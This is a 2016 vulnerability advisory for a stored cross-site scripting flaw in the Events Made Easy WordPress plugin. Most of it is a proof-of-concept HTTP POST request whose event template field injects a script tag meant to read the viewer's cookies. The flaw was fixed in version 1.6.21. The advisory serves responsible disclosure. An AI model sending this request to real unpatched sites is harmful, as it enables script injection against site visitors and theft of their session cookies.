WordPress Events Made Easy Cross Site Scripting

`------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in Events Made Easy WordPress plugin  
------------------------------------------------------------------------  
Job Diesveld, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A Cross-Site Scripting vulnerability has been found in the Events Made  
Easy WordPress plugin. By using this issue an attacker can create a  
specially crafted event which, when posted to WordPress, injects  
malicious JavaScript code into the application. This code will execute  
within the browser of any user who views the relevant application  
content.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160729-0001  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue has been fixed in Events Made Easy plugin version 1.6.21.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html  
  
Proof of Concept  
  
The following request can be used to create an event containing JavaScript that will obtain the cookie of the current user:  
  
  
POST /wp-admin/admin.php?page=events-manager&eme_admin_action=update_event&event_id=16 HTTP/1.1  
Host: <target>  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: <session cookies>  
Connection: close  
Content-Type: multipart/form-data; boundary=---------------------------224523339434990794855940370  
Content-Length: 8579  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_status"  
  
5  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_contactperson_id"  
  
-1  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_seats"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="price"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="currency"  
  
EUR  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_max_allowed"  
  
10  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_min_allowed"  
  
1  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_rsvp_discount"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_rsvp_discountgroup"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="rsvp_number_days"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="rsvp_number_hours"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_rsvp_end_target"  
  
start  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_name"  
  
fooname  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_slug"  
  
fooname  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="localised_recurrence_date"  
  
07/29/2016  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_start_date"  
  
2016-07-29  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="localised_recurrence_end_date"  
  
07/29/2016  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_end_date"  
  
2016-07-29  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_freq"  
  
daily  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_interval"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_byweekno"  
  
1  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="recurrence_byday"  
  
1  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="localised_event_start_date"  
  
07/29/2016  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_start_date"  
  
2016-07-29  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="localised_event_end_date"  
  
07/29/2016  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_end_date"  
  
2016-07-29  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_start_time"  
  
01:22PM  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_end_time"  
  
01:22PM  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_page_title_format_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_page_title_format"  
  
lalalala  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_single_event_format_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_single_event_format"  
  
<p>#_STARTDATE - #_STARTTIME</p><p>#_TOWN</p><p>#_NOTES</p><p>#_ADDBOOKINGFORM</p><p>#_MAP</p><script>alert(document.cookies)</script>  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_contactperson_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_contactperson_email_body"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_recorded_ok_html_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_recorded_ok_html"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_respondent_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_respondent_email_body"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_pending_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_pending_email_body"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_updated_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_updated_email_body"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_cancelled_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_cancelled_email_body"  
  
Dear #_RESPNAME,  
  
Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been cancelled.  
  
Yours faithfully,awfe  
#_CONTACTPERSON  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_denied_email_body_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_denied_email_body"  
  
Dear #_RESPNAME,  
  
Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been denied.  
  
Yours faithfully,  
#_CONTACTPERSONawef  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_registration_form_format_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_registration_form_format"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="eme_prop_event_cancel_form_format_tpl"  
  
0  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_cancel_form_format"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="location_name"  
  
piet  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="location_address"  
  
kaas  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="location_town"  
  
foo  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="location_latitude"  
  
57.198  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="location_longitude"  
  
9.67063  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="content"  
  
gold  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_image_url"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_image_id"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_url"  
  
  
-----------------------------224523339434990794855940370  
Content-Disposition: form-data; name="event_update_button"  
  
Update AA>>  
-----------------------------224523339434990794855940370  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`